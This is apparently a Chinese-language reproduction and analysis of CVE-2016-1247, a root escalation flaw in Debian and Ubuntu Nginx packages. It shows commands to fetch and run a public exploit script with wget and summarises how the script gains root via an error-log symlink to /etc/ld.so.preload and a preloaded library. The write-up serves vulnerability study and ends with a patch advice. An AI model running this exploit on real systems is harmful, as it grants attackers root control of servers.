CVE-2016-1247分析
针对CVE-2016-1247漏洞进行复现、研究分析原理。
前言
Nginx是一个高性能的HTTP和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。
漏洞简述
Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。
漏洞分析
复现过程
查看用户ID
查看Nginx版本dpkg -l | grep -i nginx
下载poc脚本
1 | wget https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh |
修改poc权限,并执行poc
1 | chmod 777 nginxed-root.sh |
查看现在用户ID
POC分析
查看Nginx日志目录权限,发现为www-data,因此该漏洞需要使用www-data用户进行
查看Nginx日志目录下的文件权限,发现为root权限,通过符号链接将替换日志文件实现提权目的
根据POC进行利用分析,在145行使用dlsym获取euid
在147、148行修改/tmp/nginxrootsh文件的所有者和权限
在149行删除/etc/ld.so.preload文件
在154行编译生成的c文件,在其后判断是否编译成功
在162行将/bin/bash拷贝到/tmp/nginxrootsh
在172行删除nginx的错误日志文件并进行符号链接,将/etc/ld.so.preload(目标)软链接到nginx的错误日志(这步骤实现了提权)
在187行将/etc/ld.so.preload内容覆盖为/tmp/privesclib.so(加载/tmp/privesclib.so共享库)
在199行将/etc/ld.so.preload权限设置为755
注意事项
root用户执行logrotate -f /etc/logrotate.d/nginx,未获取到root权限情况下重启nginx服务并删除相关文件。
修复建议
升级Nginx版本。